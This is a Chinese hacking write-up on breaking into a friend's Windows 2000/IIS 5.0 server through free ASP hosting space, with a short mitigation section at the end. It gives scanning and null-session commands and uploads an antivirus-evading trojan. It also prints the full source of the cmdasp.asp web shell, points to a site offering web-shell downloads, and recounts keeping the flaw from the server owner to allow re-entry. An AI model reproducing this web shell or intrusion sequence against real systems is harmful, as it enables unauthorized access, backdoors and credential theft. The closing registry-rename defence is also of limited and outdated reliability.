共开了10个端口,重要的有80,110,135,139,3389等等几个,可利用的服务不算多。从扫描的80信息显示是iis5.0,还开了一个win2k专有的远程桌面管理(port:3389),再加上端口的开放情况,现在能确定对方的系统一定是一台win2k+iis5.0,这是我比较熟悉的系统之一。
现在看来他没有对端口进行过滤,这是一个入侵者喜欢的开端。先从最基本的开始,看看能不能顺利与服务器建立空连接:
E:\>net use \\x.x.x.x\ipc$ "" /user:""
系统发生 53 错误。
找不到网络路径。
空链接漏洞被补上了,看来利用空链接枚举账号清单并尝试破解的想法要落空了,早就知道没这么容易。
下面再进行iis5.0的刺探吧,这个服务最复杂也最重要,所以winnt/2k的黑客很多研究都是基于这个服务的。先试试有没有idq溢出漏洞,选了好几种idq溢出点都没成功,看来网管要么删了idq映射要么给服务器打了sp3补丁,如果是打了这个补丁那么iis就不会有什么漏洞了。另一个对sp2补丁可能有效的asp溢出也试了,也没用,其它的如printer溢出就不用试了,因为那个溢出只应用到sp1。
下面进行iis扫描,我用的是xfocus安全小组开发的x-scan1.3扫描器,实践证明这个扫描器的漏洞资料库比较全面,它能扫出流光4.7扫不出的很多重要的cgi和iis等漏洞(包括打上sp2补丁包并没进行严格配置的win2k)。我把x-scan对win2k的扫描项都选上了,等了几分钟扫描终于完毕,生成检测报告,报告结果挺让我失望,没有一点问题,结合上面的扫描情况,我估计他很有可能给iis5.0打上了sp3补丁,我可不知道有什么漏洞可以突破打上最新补丁包的iis5.0,至少还没听说过打上sp3的iis5.0还有什么致命的漏洞。现在的分析结果是win2k+iis5.0+sp3。
其它方面就不太可能有漏洞了,比如登录上3389服务,看看有没有什么非系统自带的输入法,因为有些类型的输入法还是有帮助文件和URL的,比如有个旧版本的紫光输入法。
主页也没有什么漏洞。这时我朋友看我没有办法检测出漏洞入侵,非常得意,为自己的安全配置感到很放心。当从他口中得知的确是打上了win2k的最新补丁包sp3,我也放弃了继续分析下去,认为不会有什么明显漏洞了,也没有其它可利用的服务。接着他给了我开一个虚拟网站的账号,免费提供给我一个200Mb的服务空间,并且告诉我这个空间可以支持asp、php,并开放了所有权限给我(也就是说有脚本执行权)。哈,这回他得意忘形了吧。我照这个配置条件就可以拿到admin权限了。
我先用ftp 命令登录进去,的确是200Mb,完全免费,又开放所有脚本和权限,真爽。为了能更直观地表现过程,我下面全部使用CuteFTP图形界面软件xx作,下面是我上传文件的情况(见图2):
我总共计划上传两个文件,一个是win.exe,一个是temp.asp。win.exe是我精心配置的一个大小仅有几kb的木马,功能不但强大,最大的好处是目前还不被含最新病毒库的金山毒霸查杀。还有一个就是大家熟知的asp木马cmdasp.asp(我把它改名为temp.asp,这样防止过快被网管注意)。Temp.asp它不光是个特殊木马,有些时候也只能利用它才能拿到admin。
两个文件很快就上传完毕了。我们现在可以用刚上传上去的asp木马查看一下服务器的详细情况了,见图3:
顺便查查我的xhacker空间目录在什么位置,用这条命令dir/s d:\xhacker
很快得出结果:
驱动器 D 中的卷没有标签。
卷的序列号是 F00B-626E
d:\web2\xhacker 的目录
2002-06-02 19:57 6,976 win.exe
1 个文件 6,976 字节
列出所有文件:
1 个文件 6,976 字节
0 个目录 24,849,289,216 可用字节
现在知道我主页空间在服务器的绝对路径了,看到win.exe了没?这就是我刚刚传上去的木马。现在把win.exe的路径记下来,下面要用到。
再顺便看看账号情况:
D:\>net user
\\ 的用户帐户
-------------------------------------------------------------------------------
Guest IUSR_INTERL-4VYGJ3RM IWAM_INTERL-4VYGJ3RM
secretboy TsInternetUser
命令运行完毕,但发生一个或多个错误。
根据经验看来账号权限被他们重新配置过,不然不会出现错误。这将意味着我不能在服务器本地用net命令创建账号了。看的出这方面还是下了功夫了,连administrator默认账号都改了名了。看来我没有先尝试破解是对的,破解的成功率实在太小了。
光使用temp.asp当后门可不够保险,我决定另外开个后门。接下来我删除了temp.asp,准备运行另一个win.exe木马。怎么运行它呢,了解unicode的人都知道,有了木马在服务器的绝对路径,并且木马所在的目录有脚本可执行权限,我们就能运行它了(abc.exe是我临时copy的一个cmd.exe)。见图4
看到IE状态栏的进度条了吗?表示我们在服务器端运行了程序,速度会显的很慢,其实没必要等到进度条走完。了解web服务器程序设计原理的话,就知道我们即使按停止也没关系,因为这已经在服务器上执行了运行程序的命令。现在就可以用刚开的后门进去了。回到cmd窗口,执行命令:
telnet x.x.x.x 木马所开端口
,哈!成功进去了。现在我可以执行任何命令了,包括重启,关闭服务器,查看、上传、下载,删除等任意文件。见图5:
的确安装了php,perl等。
再在看看服务器一些情况:
D:\>net user secretboy
用户名 secretboy
全名
注释 管理计算机(域)的内置帐户
用户的注释
国家(地区)代码 000 (系统默认值)
帐户启用 Yes
帐户到期 永不
上次设置密码 2002/6/2 上午 11:49
密码到期 永不
密码可更改 2002/6/2 上午 11:49
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2002/6/2 下午 08:16
可允许的登录小时数 All
本地组会员 *Administrators
全局组成员 *None
命令成功完成。
看来administrator账号改为secretboy了。呵呵,我们可以把sam抓下来在本地机破解(我发在repair有备份),不过我觉得我朋友的密码肯定很复杂,这样可以考虑放个捕捉密码的木马上去。但是没有这个必要去做,既然是我朋友,怎么能这么做呢?
我玩了一会,就通知了他。告诉他服务器上的所有虚拟网站用户清单,而且我在他服务器上开了个后门,其端口是多少,怎么清除。他吓了一跳,赶快检查了一下,清了我的木马。然后他问了我是怎么入侵的,我告诉他是利用了虚拟空间的asp执行权限。呵呵,其实他不知道这个漏洞的原理是什么,也就不知道怎么防范它,这样我下次依然可以再进去,而且我如果记没错的话,不但是asp有此问题,php和perl语言都有相应的主页木马,在网上可以找到它们的木马程序。这里给出一份详细的主页木马下载网址:xhacker.xilubbs.com,共有5种类型的主页木马。
二.漏洞的检测
假设网管自己的iis5.0服务器里面开一个叫xhacker虚拟目录用来存放网页,支持asp。然后在xhacker虚拟空间放置我们刚才用的cmdasp.asp,cmdasp.asp在很多黑客网站都有的下载,在这公布一个cmd.asp网页代码:
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</form>
<PRE>
<%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
这样在IE运行这个asp就可以xx作服务器了。先dir c:\看看,如果看见了就说明有此漏洞,反之则没有。
三.漏洞的防范
现在我们来讨论一下怎么帮助网管防范这种漏洞。我分为两种情况分别讨论两种防范策略:
( 1 ) 我之所以能够跨越虚拟目录权限是因为上传上去的asp调用了FileSystemObject对象,从而实现了所有的命令xx作。所以,如果你确定你的网站不需要支持asp,就干脆删除asp。方法如下:
执行“internet服务管理员”———>web站点单击鼠标右键———>
“属性” ———>主目录———>配置———>把所有“asp.dll”文件存在的字段都删除,默认共有四个。这样你的iis就不能执行asp了,也就与asp服务漏洞绝缘了。
( 2 )以上的防范方法虽然又简单又安全,但对asp服务空间的提供商和asp的主页就很不合适了。我想了许多办法也参考了不少网上的资料,其中也有不少好的解决方案,但就是太复杂了。后来我发现有一种简单方法能非常好的解决这个问题:
我们只要禁止住别人调用FileSystemObject对象就可以了,对asp空间的用户来讲,也没有必要需要用到这个对象。我由此想到了注册表,是不是这个FileSystemObject对象就在注册表里?接着查找到了“HKET_CLASSES_ROOT\Scripting.FileSystemObject”键值,更改成为你定义的字符串,比如:
HKET_CLASSES_ROOT\Scripting.FileSystemObject520
这样不需要删除FileSystemObject对象又不影响asp程序的运行,而用户如果再运行那个cmd.asp木马的话,就会因为调用不到Scripting.FileSystemObject组件而无法执行命令了,同时也没有什么出错信息。但是对于有经验的入侵者就会知道这方面被网管做了防护了。
如果网管需要那个cmd.asp用来远程管理自己的站点怎么办?很简单,只要把asp代码中的
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
更改为:
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject520")
就可以调用了。
这样就只有网管才知道正确的Scripting.FileSystemObject520。同时我建议你也不要把这个对象的名字改的太简单,比如Scripting.FileSystemObject111什么的,
建议在原对象名字后面加一些无规律的字母,这样对方就猜不到了。你自己也别担心忘了这个对象的名字,因为在注册表里可以就可以看到它:)